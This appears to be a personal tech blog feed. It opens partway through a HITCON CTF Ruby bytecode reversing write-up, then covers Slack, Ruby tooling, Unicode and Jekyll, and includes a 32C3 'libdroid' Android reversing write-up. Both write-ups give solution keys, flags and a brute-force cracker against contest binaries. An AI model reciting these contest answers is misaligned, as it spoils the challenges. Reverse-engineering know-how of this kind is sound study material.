opt_send_without_block <callinfo!mid:pack, argc:1, ARGS_SIMPLE>, <callcache>
trace            16                                              (   7)
leave                                                            (   6)
== disasm: #<ISeq:block in ^@<compiled>>================================
== catch table
| catch type: redo   st: 0002 ed: 0027 sp: 0000 cont: 0002
| catch type: next   st: 0002 ed: 0027 sp: 0000 cont: 0027
|------------------------------------------------------------------------
local table (size: 3, argc: 2 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 3] x<Arg>     [ 2] i<Arg>
trace            256                                             (   6)
trace            1
getlocal_OP__WC__0 3
getlocal_OP__WC__1 2
getlocal_OP__WC__0 2
getlocal_OP__WC__1 2
opt_size         <callinfo!mid:size, argc:0, ARGS_SIMPLE>, <callcache>
opt_mod          <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache>
opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:ord, argc:0, ARGS_SIMPLE>, <callcache>
opt_send_without_block <callinfo!mid:^, argc:1, ARGS_SIMPLE>, <callcache>
trace            512
leave
== disasm: #<ISeq:sha1@<compiled>>======================================
trace            8                                               (   9)
trace            1                                               (  10)
getinlinecache   13, <is:0>
getconstant      :Digest
getconstant      :SHA1
setinlinecache   <is:0>
putself
opt_send_without_block <callinfo!mid:hexdigest, argc:1, ARGS_SIMPLE>, <callcache>
trace            16                                              (  11)
leave                                                            (  10)
== disasm: #<ISeq:enhex@<compiled>>=====================================
trace            8                                               (  13)
trace            1                                               (  14)
putself
putstring        "H*"
opt_send_without_block <callinfo!mid:unpack, argc:1, ARGS_SIMPLE>, <callcache>
putobject_OP_INT2FIX_O_0_C_
opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
trace            16                                              (  15)
leave                                                            (  14)
== disasm: #<ISeq:dehex@<compiled>>=====================================
trace            8                                               (  17)
trace            1                                               (  18)
putself
newarray         1
putstring        "H*"
opt_send_without_block <callinfo!mid:pack, argc:1, ARGS_SIMPLE>, <callcache>
trace            16                                              (  19)
leave                                                            (  18)
== disasm: #<ISeq:gg@<compiled>>========================================
trace            8                                               (  22)
trace            1                                               (  23)
putself
putstring        "Invalid Key @_@"
opt_send_without_block <callinfo!mid:puts, argc:1, FCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (  24)
putself
putobject_OP_INT2FIX_O_1_C_
opt_send_without_block <callinfo!mid:exit, argc:1, FCALL|ARGS_SIMPLE>, <callcache>
trace            16                                              (  25)
leave                                                            (  24)
== disasm: #<ISeq:f@<compiled>>=========================================
== catch table
| catch type: break  st: 0021 ed: 0086 sp: 0000 cont: 0086
| catch type: next   st: 0021 ed: 0086 sp: 0000 cont: 0018
| catch type: redo   st: 0021 ed: 0086 sp: 0000 cont: 0021
|------------------------------------------------------------------------
local table (size: 6, argc: 3 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 6] a<Arg>     [ 5] b<Arg>     [ 4] m<Arg>     [ 3] s          [ 2] r
trace            8                                               (  27)
trace            1                                               (  28)
putobject_OP_INT2FIX_O_1_C_
setlocal_OP__WC__0 3
trace            1                                               (  29)
getlocal_OP__WC__0 6
setlocal_OP__WC__0 2
trace            1                                               (  30)
jump             75
putnil
pop
jump             75
trace            1                                               (  31)
getlocal_OP__WC__0 5
putobject_OP_INT2FIX_O_0_C_
opt_aref         <callinfo!mid:[], argc:1, ARGS_SIMPLE>, <callcache>
putobject_OP_INT2FIX_O_1_C_
opt_eq           <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchunless     49
getlocal_OP__WC__0 3
getlocal_OP__WC__0 2
opt_mult         <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache>
getlocal_OP__WC__0 4
opt_mod          <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache>
setlocal_OP__WC__0 3
trace            1                                               (  32)
getlocal_OP__WC__0 5
putobject_OP_INT2FIX_O_1_C_
opt_send_without_block <callinfo!mid:>>, argc:1, ARGS_SIMPLE>, <callcache>
setlocal_OP__WC__0 5
trace            1                                               (  33)
getlocal_OP__WC__0 2
getlocal_OP__WC__0 2
opt_mult         <callinfo!mid:*, argc:1, ARGS_SIMPLE>, <callcache>
getlocal_OP__WC__0 4
opt_mod          <callinfo!mid:%, argc:1, ARGS_SIMPLE>, <callcache>
setlocal_OP__WC__0 2
getlocal_OP__WC__0 5                                             (  30)
putobject_OP_INT2FIX_O_0_C_
opt_neq          <callinfo!mid:!=, argc:1, ARGS_SIMPLE>, <callcache>, <callinfo!mid:==, argc:1, ARGS_SIMPLE>, <callcache>
branchif         21
putnil
pop
trace            1                                               (  35)
getlocal_OP__WC__0 3
trace            16                                              (  36)
leave                                                            (  35)
== disasm: #<ISeq:block in <compiled>@<compiled>>=======================
== catch table
| catch type: redo   st: 0002 ed: 0011 sp: 0000 cont: 0002
| catch type: next   st: 0002 ed: 0011 sp: 0000 cont: 0011
|------------------------------------------------------------------------
local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 2] x<Arg>
trace            256                                             (  41)
trace            1
getlocal_OP__WC__0 2
putobject        /^[0-9A-F]{4}$/
opt_regexpmatch2 <callinfo!mid:=~, argc:1, ARGS_SIMPLE>, <callcache>
trace            512
leave
== disasm: #<ISeq:block in <compiled>@<compiled>>=======================
== catch table
| catch type: redo   st: 0002 ed: 0011 sp: 0000 cont: 0002
| catch type: next   st: 0002 ed: 0011 sp: 0000 cont: 0011
|------------------------------------------------------------------------
local table (size: 2, argc: 1 [opts: 0, rest: -1, post: 0, block: -1, kw: -1@-1, kwrest: -1])
[ 2] x<Arg>
trace            256                                             (  46)
trace            1
getlocal_OP__WC__0 2
putobject        16
opt_send_without_block <callinfo!mid:to_i, argc:1, ARGS_SIMPLE>, <callcache>
trace            512
leave

Quite long, but this is the summary:

class String
  def ^; end

  def sha1; end

  def enhex; end

  def dehex; end
end

def gg; end

def f; end

# main code

Note that the last two blocks are block code for #all? and #map.

Rebuilding the code

We got the instruction sequence, and we can also compile our own code with the following script:

puts RubyVM::InstructionSequence.compile_file('code.rb').disasm

For example, create code.rb with:

require 'digest'
require 'prime'

Then the result of script is:

== disasm: #<ISeq:<main>@code.rb>=======================================
trace            1                                               (   1)
putself
putstring        "digest"
opt_send_without_block <callinfo!mid:require, argc:1, FCALL|ARGS_SIMPLE>, <callcache>
pop
trace            1                                               (   2)
putself
putstring        "prime"
opt_send_without_block <callinfo!mid:require, argc:1, FCALL|ARGS_SIMPLE>, <callcache>
leave

Let me just skip the details of recovering, so here is the original code.

require 'digest'
require 'prime'

class String
  def ^(other)
    self.bytes.map.with_index { |x, i| x ^ other[i % other.size].ord }.pack('C*')
  end

  def sha1
    Digest::SHA1.hexdigest(self)
  end

  def enhex
    self.unpack('H*')[0]
  end

  def dehex
    [self].pack('H*')
  end
end

def gg
  puts 'Invalid Key @_@'
  exit(1)
end

def f(a, b, m)
  s = 1
  r = a
  while b != 0
    s = (s * r) % m if b[0] == 1
    b = b >> 1
    r = (r * r) % m
  end
  s
end

k = $stdin.gets.chomp
xs = k.split('-')

gg unless xs.size == 5
gg unless xs.all? { |x| x =~ /^[0-9A-F]{4}$/ }
gg unless xs[0].to_i(16) == 31337
gg unless xs[1].reverse == 'FACE'
gg unless f(217, xs[2].to_i(16), 314159).to_s(28).upcase == '48D5'
gg unless xs[3].to_i(10).prime_division.map(&:first).sort == [53, 97]
gg unless xs.map { |x| x.to_i(16) }.inject(:^).to_s.sha1 == '947d46f8060d9d7025cc5807ab9bf1b3b9143304'

puts "Congratz! flag is #{'bce410e85433ba94f0d832d99556f9764b220eeda7e807fe4938a5e6effa7d83c765e1795b6c26af8ad258f6'.dehex ^ k.sha1.dehex}"

Finding the answer input

See the core part again:

gg unless xs.size == 5
gg unless xs.all? { |x| x =~ /^[0-9A-F]{4}$/ }
gg unless xs[0].to_i(16) == 31337
gg unless xs[1].reverse == 'FACE'
gg unless f(217, xs[2].to_i(16), 314159).to_s(28).upcase == '48D5'
gg unless xs[3].to_i(10).prime_division.map(&:first).sort == [53, 97]
gg unless xs.map { |x| x.to_i(16) }.inject(:^).to_s.sha1 == '947d46f8060d9d7025cc5807ab9bf1b3b9143304'

By the first two lines, we have to enter XXXX-XXXX-XXXX-XXXX-XXXX format.

31337 is 0x7A69, so the first word is 7A69.
The second one is obviously ECAF.

For the third word, we can just do a brute force attack.

(0...0xffff).each do |x|
  if f(217, x, 314159).to_s(28).upcase == '48D5'
    puts x.to_s(16).upcase
    break
  end
end

This returns 1BD2.

53 * 97 = 5141, so the fourth is 5141.
The SHA1 in the last condition is the same with '5671'.sha1. So we can get the last word by computing XORs of all previous words and 5671.
```
>> (0x7A69 ^ 0xECAF ^ 0x1BD2 ^ 0x5141 ^ 5671).to_s(16).upcase
=> "CA72"
```

So the answer input is 7A69-ECAF-1BD2-5141-CA72.

$ ruby code.rb
7A69-ECAF-1BD2-5141-CA72
Congratz! flag is hitcon{ROP = Ruby Obsecured Programming ^_<}

So the flag is hitcon{ROP = Ruby Obsecured Programming ^_<}.

How to reset window size of Slack on Windows

2016-10-07T12:07:02+00:00

Slack application

Slack, you may know. It rocks, and I’m also involved in several teams. Their site is great, but more teams, more tabs in my browser. I decided to use their Windows app which provides handy shortcuts for switching between teams.

Today I just remotely connected to my Windows desktop from my notebook. But then, I realized the Slack window is shrinked. Maybe the reason is my notebook’s screen size, but I don’t know. Its content area became too small to read, so I wanted its window size back.

Actually the default window size was my taste, so I wanted to just reset its customized window size. And I found it, so here I am to share with you.

Resetting Slack’s window size

Slack 2.2.1

First of all, note that this is not the permanent solution since it’s not a part of Slack API or something that is guaranteed by them. My Windows machine is 64-bit and the version of Slack is 2.2.1.

So here is a way to resetting the window size of Slack.

Quit your Slack application.
Navigate to %APPDATA%\Slack. The value of %APPDATA% is something like C:\Users\{username}\AppData\Roaming.
Open redux-state.json to edit.

Find windowSettings under state’s app. Its value would be like:

\"windowSettings\":{\"size\":[1152,832],\"position\":[384,104],\"isMaximized\":false}

Delete the whole windowSettings entry above. If you delete only a part of value of windowSettings, application may crash.
Open Slack again. It will set the default window size automatically.

Slack 2.4.1, 3.3.3

With updates of Slack, settings related to window were separated and moved to another location. Here is a way to resetting the window size:

Quit your Slack application.
Navigate to %APPDATA%\Slack\storage. The value of %APPDATA% is something like C:\Users\{username}\AppData\Roaming.
Open slack-windowFrame to edit.
Delete the whole content, but do not delete the file itself.
Open Slack again. It will set the default window size automatically.

Slack 4.13.0

With updates of Slack, settings including window-related ones are merged and moved to another location. Here is a way to resetting the window size:

Quit your Slack application.
Navigate to %APPDATA%\Slack\storage. The value of %APPDATA% is something like C:\Users\{username}\AppData\Roaming.
Open root-state.json to edit.

Find mainWindowSettings under settings. Its value would be like:

"mainWindowSettings":{"fullScreen":false,"maximized":false,"bounds":{"x":172,"y":52,"width":1024,"height":768}}

Delete the whole mainWindowSettings entry above.
Open Slack again. It will set the default window size automatically.

Keep calm and use Slack!

Unicode Adopt-a-Character

2016-04-20T16:25:37+00:00

Now you can adopt a character!

Select your character
Make your donation

Then you’re done. After the donation, your character along with your name will be listed in Sponsors of Adopted Characters. You support Unicode Consortium by donation while expressing your interests in the adopted character as チルノ adopted ⑨.

I chose ‘유’ (U+C720, HANGUL SYLLABLE YU), which is my family name written in Korean. And this is one of the first adoptions of hangul character.

Chayoung You (유차영)is now a Bronze sponsor of HANGUL SYLLABLE YU!#UnicodeSponsor https://t.co/puZ4jUucBk pic.twitter.com/10gKB3lRwH
— Unicode Consortium (@unicode) April 25, 2016

Installing Ruby 1.8.7 on OS X El Capitan

2016-04-16T13:08:13+00:00

A bug in Ruby 1.8.7

There is a bug in Ruby 1.8.7’s exponentiation. See “Exponentiation in Ruby 1.8.7 Returns Wrong Answers”.

>> 2 ** 62
=> 4611686018427387904
>> 2 ** 63
=> -9223372036854775808
>> 2 ** 64
=> 0

Note that following gives the correct result:

>> 2 ** 62 * 2
=> 9223372036854775808

Supporting an ancient Ruby

Seeing this bug, I wanted to reproduce this by myself, so I just tried to install Ruby 1.8.7 on OS X 10.11.4. As I’m using chruby, I used ruby-install.

ruby-install ruby 1.8.7

But there are several errors:

...
gcc -I. -I../.. -I../../. -I../.././ext/openssl -DRUBY_EXTCONF_H=\"extconf.h\" -I/usr/local/opt/openssl/include -I/usr/local/opt/readline/include -I/usr/local/opt/libyaml/include -I/usr/local/opt/gdbm/include  -D_XOPEN_SOURCE -D_DARWIN_C_SOURCE   -fno-common -g -O2 -pipe -fno-common   -c ossl.c
ossl.c:118:1: error: unknown type name 'STACK'; did you mean '_STACK'?
OSSL_IMPL_SK2ARY(x509, X509)
^
ossl.c:95:22: note: expanded from macro 'OSSL_IMPL_SK2ARY'
ossl_##name##_sk2ary(STACK *sk)                 \
                     ^
/usr/local/opt/openssl/include/openssl/stack.h:72:3: note: '_STACK' declared here
} _STACK;                       /* Use STACK_OF(...) instead */
  ^
...
4 errors generated.
make[1]: *** [ossl.o] Error 1
make: *** [all] Error 1
!!! Compiling ruby 1.8.7 failed!

This is because of the version of OpenSSL used for compilation is too high for Ruby 1.8.7, see rbenv/ruby-build#445. After some searching about OpenSSL and Ruby 1.8.7, I found that RVM is using openssl098 for Ruby 1.8.7 compilation. But, unfortunately, they decided to remove it from homebrew/versions tap because of deprecation and security issues. See Homebrew/homebrew-versions#1150 for the issue and the commit removing openssl098.

Building Ruby 1.8.7

As I just wanted to reproduce a bug, I used the openssl098.rb right before the removal.

brew install https://github.com/Homebrew/homebrew-versions/raw/586b7e9012a3ed1f9df6c43d0483c65549349289/openssl098.rb

Then we can provide --with-openssl-dir option to ruby-install.

ruby-install ruby 1.8.7 -- --with-openssl-dir=/usr/local/opt/openssl098

It’ll be successful! You can use Ruby 1.8.7 on OS X El Capitan.

$ ruby --version
ruby 1.8.7 (2008-05-31 patchlevel 0) [i686-darwin15.4.0]

Finally I was able to reproduce the bug.

>> 2 ** 62
=> 4611686018427387904
>> 2 ** 63
=> -9223372036854775808
>> 2 ** 64
=> 0

Also, for Ruby 1.8.7-p374, you don’t need openssl098, but you may need X11. If you don’t need tk, then try the following command:

ruby-install ruby 1.8.7-p374 -- --without-tk

This version of Ruby 1.8.7 still has the same bug.

Switching RVM to chruby

2016-01-01T11:26:07+00:00

I’ve found RVM’s gemsets are no longer useful to me. I used to make a separate gemset for each project by placing .ruby-version and .ruby-gemset file in each project directory. But whenever a Ruby release come out, I repeated uninstalling previous version and then clean installing new version. So I decided to move to chruby, smaller and simpler one.

Goodbye, RVM

rvm implode

Also if you have additional script lines loading RVM, remove them. I left them to make it work only if RVM is installed.

[[ -s "$HOME/.rvm/scripts/rvm/" ]] && source "$HOME/.rvm/scripts/rvm"

Installing ruby-install

ruby-install handles installations of various Rubies.

If you’re on OS X:

brew install ruby-install

If you’re on Arch Linux:

yaourt -S ruby-install

Otherwise:

wget -O ruby-install-0.6.0.tar.gz
https://github.com/postmodern/ruby-install/archive/v0.6.0.tar.gz
tar -xzvf ruby-install-0.6.0.tar.gz
cd ruby-install-0.6.0/
sudo make install

Installing chruby

If you’re on OS X:

brew install chruby

Otherwise:

wget -O chruby-0.3.9.tar.gz
https://github.com/postmodern/chruby/archive/v0.3.9.tar.gz
tar -xzvf chruby-0.3.9.tar.gz
cd chruby-0.3.9/
sudo make install

Then all I need to do is to load it from startup script, ~/.*shrc.

if [ -e /usr/local/share/chruby/chruby.sh ]; then
  source /usr/local/share/chruby/chruby.sh
  source /usr/local/share/chruby/auto.sh
fi

The auto.sh is for auto-switching the current version of Ruby according to .ruby-version file of the current directory. This is optional.

chruby provides ways to migrate Rubies from another Ruby manager, but I started from scratch, so installed latest Ruby using ruby-install.

ruby-install ruby 2.3.0

Then which ruby will points to some path under ~/.rubies directory.

which ruby
~/.rubies/ruby-2.3.0/bin/ruby

Now it’s possible to auto-switch the Ruby version with .ruby-version file or manually with chruby commands like chruby ruby-2.3.0 or chruby system, etc.

32C3 CTF 2015: libdroid Write-up

2015-12-30T16:59:51+00:00

Reversing (150)

Solves: 17

Please install this on your new android phone, enter pass code and get the flag.

Hints:

Updated the libdroid.apk, this one is now also able to run on a device. No changes to internal logic.

If the above link doesn’t work, please use this link.

Decompiling the APK

First things first, rename the libdroid_fixed.apk to libdroid_fixed.zip and unzip it. Then there should be a classes.dex file, and we have dex2jar.

On Windows,

d2j-dex2jar.bat classes.dex

Otherwise,

dsj-dex2jar.sh classes.dex

Then we can obtain classes-dex2jar.jar, now it’s JD-GUI’s turn. Open the jar file with JD-GUI and you will see the content of class ctf.stratumauhhur.libdroid.a.

The full content of the a.class is available on this gist.

There are quite many methods with name a in class ctf.stratumauhhur.libdroid.a:

static String a(String paramString, int paramInt) {...}
public void a(View paramView) {...}
void a(String paramString) {...}
byte[] a(byte[] paramArrayOfByte, String paramString) {...}

At first, static variables of the class are assigned, and since the class is an activity, protected void onCreate(Bundle paramBundle) should be called.

The following is the code assigning static variables:

static String a;
static String b;
static String c;
static String d;
static String f;
static String flag = a(getFlag(), 1);
static String g;
String e;

static
{
  System.loadLibrary("libdroid");
  a = a(getOperatingSystem(), 1);
  b = a(getPhoneNumber(), 1);
  c = a(installRootkit(), 1);
  d = a(generateConfusion(), 1);
  f = a(obtainWorldDomination(), 1);
  g = a(installiOS(), 1);
}

The method static String a(String paramString, int paramInt) is used for the static variables, and getFlag(), getOperatingSystem(), getPhoneNumber(), installRootkit(), generateConfusion(), obtainWorldDomination(), installiOS() are native methods.

We should look into the static String a(String paramString, int paramInt). See the following lines:

Object localObject1 = new Exception().getStackTrace()[paramInt];
Object localObject2 = new StringBuilder();
((StringBuilder)localObject2).append(((StackTraceElement)localObject1).getClassName()).insert(paramInt, ((StackTraceElement)localObject1).getMethodName());
localObject1 = localObject2.toString();

The paramInt is always 1, so localObject1 is new Exception().getStackTrace()[1], and it’s the name of class is ctf.stratumauhhur.libdroid.a, and the name of method is <clinit>. So, the value of localObject1 will be "c<clinit>tf.stratumauhhur.libdroid.a".

The native methods

To know the behavior of native methods, we should decompile lib/x86/liblibdroid.so file using IDA, OllyDbg, or something. By looking into it, we can easily know that the native methods just return constant string. This piece of Ruby code will translate them.

def a(str, int)
  obj1 = 'c<clinit>tf.stratumauhhur.libdroid.a'
  obj2 = [0] * str.size
  i = 0
  int = obj1.size
  loop do
    if i < str.size
      j = str[i].ord
      obj2[i] = (obj1[int - 1].ord ^ j ^ 0x12)
      i += 1
      if i >= str.size
        return obj2.select { |v| v != 0 }.map(&:chr).join
      end
    else
      return obj2.select { |v| v != 0 }.map(&:chr).join
    end
    j = str[i].ord
    obj2[i] = (obj1[int - 1].ord ^ j ^ 0xFA)
    int -= 1
    i += 1
    if int <= 0
      int = obj1.size
    end
  end
end

getOperatingSystem = "\x10\xF4\x52\xB2\x1F\xF9\x55\xFA\x13\xFC".bytes
getPhoneNumber = "\x11\xF7\x5D\xB6\x1A\xFF\x19\xFF\x1C\xF7\x0C\xE9".bytes
generateConfusion = "\x53\xAA\x0E\xE7\x42\xAB\x4D\xA4\x45\xAC\x50".bytes
getFlag = "\x20\xF4\x4E\xA6\x0F\xBE\x15\xFC\x5D\xE7\x0F\xE7\x02\xF5\x19\xEC\x5B\xF5\x11\xE4\x1C\xAD\x0F\xFD\x47\xB5\x52".bytes
installRootkit = "\x30\xF4\x52\xB3\x04\xFF\x0F\xE6\x11\xF4".bytes
obtainWorldDomination = "\x18\xFE\x45\xE9".bytes
installiOS = "\x01\xF4\x53\xA0\x1D\xF7\x0F\xAE".bytes

_flag = a(getFlag, 1)
# => "Sorry no rootkit for you :("
_a = a(getOperatingSystem, 1)
# => "config.ini"
_b = a(getPhoneNumber, 1)
# => "blablablabla"
_c = a(installRootkit, 1)
# => "Congratula"
_d = a(generateConfusion, 1)
# => " 1234567890"
_f = a(obtainWorldDomination, 1)
# => "key="
_g = a(installiOS, 1)
# => "rootkit="

Decompiling `onCreate`

Now we have static variables, so the next thing is protected void onCreate(Bundle paramBundle):

protected void onCreate(Bundle paramBundle)
{
  super.onCreate(paramBundle);
  setContentView(2130968601);
  try
  {
    a(a);
    this.e = "";
    return;
  }
  catch (Exception paramBundle)
  {
    for (;;) {}
  }
}

The method is void a(String paramString), and the variable a is static variable that we have calculated right before, which is "config.ini". Then let’s look into the method.

void a(String paramString)
  throws Exception
{
  paramString = getAssets().open(paramString);
  Object localObject = new ByteArrayOutputStream();
  byte[] arrayOfByte = new byte[0x4000];
  for (;;)
  {
    int i = paramString.read(arrayOfByte, 0, arrayOfByte.length);
    if (i == -1) {
      break;
    }
    ((ByteArrayOutputStream)localObject).write(arrayOfByte, 0, i);
  }
  ((ByteArrayOutputStream)localObject).flush();
  paramString = new BufferedReader(new InputStreamReader(new ByteArrayInputStream(a(((ByteArrayOutputStream)localObject).toByteArray(), b))));
  for (;;)
  {
    localObject = paramString.readLine();
    if (localObject == null) {
      break;
    }
    if (((String)localObject).startsWith(g)) {
      g = ((String)localObject).substring(g.length());
    }
    if (((String)localObject).startsWith((String)f)) {
      f = (byte[])Base64.decode(((String)localObject).substring(((String)f).length()), 0);
    }
  }
}

It reads an asset with its name paramString into localObject, and then execute byte[] a(byte[] paramArrayOfByte, String paramString) with localObject and b.

Again, this is the Ruby version of the code. You can find config.ini in the assets directory.

def byte_a(paramArrayOfByte, paramString)
  arrayOfByte = [0] * paramArrayOfByte.size
  arrayOfByte.size.times do |i|
    arrayOfByte[i] = (paramArrayOfByte[i].ord ^ paramString[i % paramString.size].ord)
  end
  arrayOfByte.map(&:chr).join
end

config_ini = "^\x1E\x0E\r\x18_h\a\x04\eQ(3/&\x16CJ%40;\x18,#Q\\h\x1E\x0E\r" \
  "\x18\n\v\x18\\\x03C\x05M\x0FN\x01B\x05\x03\x18k^C\x13\r\x03\x15\\"
puts paramString = byte_a(config_ini, _b)
# <root>
# key=IQCGt/+GXQYtMA==
# rootkit=a/d/c/c.dat
# </root>

So g will be replaced with "a/d/c/c.dat", and f will be replaced with the value of Base64.decode("IQCGt/+GXQYtMA=="), which is "!\x00\x86\xB7\xFF\x86]\x06-0".

The main logic

Now we’re almost close. There’s only public void a(View paramView) left to analyze.

if (paramView.getId() == 2131492969) {
  this.e += d.charAt(1);
}
if (paramView.getId() == 2131492970) {
  this.e += d.charAt(2);
}
if (paramView.getId() == 2131492971) {
  this.e += d.charAt(3);
}
if (paramView.getId() == 2131492972) {
  this.e += d.charAt(4);
}
if (paramView.getId() == 2131492973) {
  this.e += d.charAt(5);
}
if (paramView.getId() == 2131492974) {
  this.e += d.charAt(6);
}
if (paramView.getId() == 2131492975) {
  this.e += d.charAt(7);
}
if (paramView.getId() == 2131492977) {
  this.e += d.charAt(8);
}
if (paramView.getId() == 2131492978) {
  this.e += d.charAt(9);
}
if (paramView.getId() == 2131492976) {
  this.e += d.charAt(0);
}

Obviously, this handles a button click. d is " 1234567890", so we can think the button 1 to 9 is mapped to "1" to "9" respectively, and the button 0 is mapped to " ".

String str;
Object localObject2;
Object localObject1;
if ((this.e.length() == 6) || (paramView.getId() == 2131492979))
{
  str = flag;
  try
  {
    InputStream localInputStream = getAssets().open(g);
    localObject2 = new ByteArrayOutputStream();
    byte[] arrayOfByte = new byte[0x4000];
    for (;;)
    {
      int i = localInputStream.read(arrayOfByte, 0, arrayOfByte.length);
      if (i == -1) {
        break;
      }
      ((ByteArrayOutputStream)localObject2).write(arrayOfByte, 0, i);
    }
    Snackbar.make(paramView, (CharSequence)localObject1, 0).setAction("Action", null).show();
  }
  catch (Exception localException)
  {
    localException.printStackTrace();
    localObject1 = str;
  }
}
for (;;)
{
  this.e = "";
  return;
  ((ByteArrayOutputStream)localObject2).flush();
  localObject2 = ((ByteArrayOutputStream)localObject2).toByteArray();
  localObject1 = new byte[16];
  System.arraycopy((byte[])f, 0, localObject1, 0, ((byte[])f).length);
  System.arraycopy(this.e.getBytes(), 0, localObject1, 10, this.e.getBytes().length);
  phoneHome((byte[])localObject2, (byte[])localObject1);
  localObject1 = str;
  if (new String((byte[])localObject2).startsWith(c)) {
    localObject1 = new String((byte[])localObject2);
  }
}

Snackbar line makes a toast pop-up with the value of localObject1, which is flag by default, which is "Sorry no rootkit for you :(". When the value of localObject2 after the phoneHome(localObject2, localObject1) starts with the value of c, which is "Congratula", the localObject1 changes. So our goal is to find the value of e that leads localObject1 to change.

The value of localObject2 is the content of the asset with its path g, which is assets/a/d/c/c. The first 10 bytes of localObject1 are the same with f, and the last 6 bytes are the value of e. So we need to know the value of e, which will be at most six digits of number.

Emulating `phoneHome`

We can obtain a decompiled code of phoneHome, and this is the exploit.

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

#define _BYTE unsigned char
#define BYTEn(x, n) (*((_BYTE *) &(x) + n))
#define BYTE1(x) BYTEn(x, 1)
#define BYTE2(x) BYTEn(x, 2)
#define BYTE3(x) BYTEn(x, 3)

void check(char *input) {
    char g[11] = "Congratula";
    char a_d_c_c[113] = "\xFE\xA0\xAD\x80 Y\xAB\x12\xD7\xC3\x9C\x88\xFA,\x1D\xFC\x81""F\r\xDC\xE9\xCE\xCCWx\xF5""A_R\x02""6\xD5""3\x18""f:@&\xE8n\xB6\xCDr\xB7<\x01""f\xB1O\x99#c\x95w4ai\xF6\xA9S@7ACO\x98\x95,z'<\x98h\x1A\x88\xA8\xB7\x85\xBB\x15O\x1A\x01M\xC9\xC8\x9BuxW\x7F\x98\r\xD8Q\xA8\"\xB9^YMqO\x1A\x81\xA9\xBF\a)\xED\xFD\x83";
    int v4, v5, v6, v7, v8, v9, v10, v12, v13, v14, v15, v17, v18;
    unsigned int v16;

    v17 = a_d_c_c;
    v18 = input;
    v4 = v18;
    v5 = 112;
    v12 = (*(_BYTE *) (v4 + 2) << 16) | (*(_BYTE *) (v4 + 3) << 24) | *(_BYTE *) v4 | (uint16_t) (*(_BYTE *) (v4 + 1) << 8);
    v13 = (*(_BYTE *) (v4 + 6) << 16) | (*(_BYTE *) (v4 + 7) << 24) | *(_BYTE *) (v4 + 4) | (uint16_t) (*(_BYTE *) (v4 + 5) << 8);
    v14 = (*(_BYTE *) (v4 + 10) << 16) | (*(_BYTE *) (v4 + 11) << 24) | *(_BYTE *) (v4 + 8) | (uint16_t) (*(_BYTE *) (v4 + 9) << 8);
    v6 = (*(_BYTE *) (v4 + 15) << 24) | *(_BYTE *) (v4 + 12) | (uint16_t) (*(_BYTE *) (v4 + 13) << 8) | (*(_BYTE *) (v4 + 14) << 16);
    if (v5 > 0) {
        v15 = v17 + 1;
        v16 = v17 + ((v5 - 1) & 0xFFFFFFF8) + 9;
        do {
            v7 = (uint16_t) (*(_BYTE *) v15 << 8) | (*(_BYTE *) (v15 + 2) << 24) | *(_BYTE *) (v15 - 1) | (*(_BYTE *) (v15 + 1) << 16);
            v8 = 0xD5B7DDE0;
            v9 = (uint16_t) (*(_BYTE *) (v15 + 4) << 8) | *(_BYTE *) (v15 + 3) | (*(_BYTE *) (v15 + 6) << 24) | (*(_BYTE *) (v15 + 5) << 16);
            do {
                v9 -= (v7 + v8) ^ (16 * v7 + v14) ^ (v6 + ((unsigned int) v7 >> 5));
                v7 -= (v9 + v8) ^ (16 * v9 + v12) ^ (v13 + ((unsigned int) v9 >> 5));
                v8 += 0x21524111;
            } while (v8);
            *(_BYTE *) (v15 - 1) = v7;
            v10 = v15 + 8;
            *(_BYTE *) (v10 - 8) = BYTE1(v7);
            *(_BYTE *) (v10 - 7) = BYTE2(v7);
            *(_BYTE *) (v10 - 6) = BYTE3(v7);
            *(_BYTE *) (v10 - 5) = v9;
            *(_BYTE *) (v10 - 4) = BYTE1(v9);
            *(_BYTE *) (v10 - 3) = BYTE2(v9);
            *(_BYTE *) (v10 - 2) = BYTE3(v9);
            v15 += 8;
        } while (v10 != v16);
    }
    if (strncmp(v17, g, strlen(g)) == 0) {
        printf("Found: e: '%s'\n", input + 10);
        printf("%s\n", v17);
        exit(0);
    }
}

void replace_zero(char *f) {
    int i = 10;
    while (f[i] != '\0') {
        if (f[i] == '0') {
            f[i] = ' ';
        }
        i++;
    }
}

int main() {
    char f[17] = "!\x00\x86\xB7\xFF\x86]\x06-0";
    int e;
    int len;
    int i;

    for (e = 0; e < 1000000; e++) {
        for (i = 10; i < 17; i++) {
            f[i] = 0;
        }
        if (e < 10) {
            sprintf(f + 10, "%d", e);
            replace_zero(f);
            check(f);
        }
        if (e < 100) {
            sprintf(f + 10, "%02d", e);
            replace_zero(f);
            check(f);
        }
        if (e < 1000) {
            sprintf(f + 10, "%03d", e);
            replace_zero(f);
            check(f);
        }
        if (e < 10000) {
            sprintf(f + 10, "%04d", e);
            replace_zero(f);
            check(f);
        }
        if (e < 100000) {
            sprintf(f + 10, "%05d", e);
            replace_zero(f);
            check(f);
        }
        sprintf(f + 10, "%06d", e);
        replace_zero(f);
        check(f);
    }

    return 0;
}

Executing it is simple:

gcc libdroid.c -m32 -o libdroid
./libdroid
Found: e: '1 3875'
Congratulations! The rootkit is sucessfully installed. The Flag is 32C3_this_is_build_for_flag_ship_phones

So the flag is 32C3_this_is_build_for_flag_ship_phones. If you want to see the flag within the application, just press 103875 on it.

Moving Timezone to UTC in Jekyll

2015-09-05T12:39:19+00:00

At the very first, I haven’t think about the timezone of my blog. I had used to generate my blog on my local machine and deploy manually. At that time every content is released based on KST timezone, which is GMT+9.

Right after that I tried to deploy my blog through Travis CI, I realized that something went wrong. Travis CI uses UTC by default, so the URL of every post between 0AM and 9AM was shifted by one day backward. I had to modify /etc/timezone or set environment variable TZ to restore the URLs.

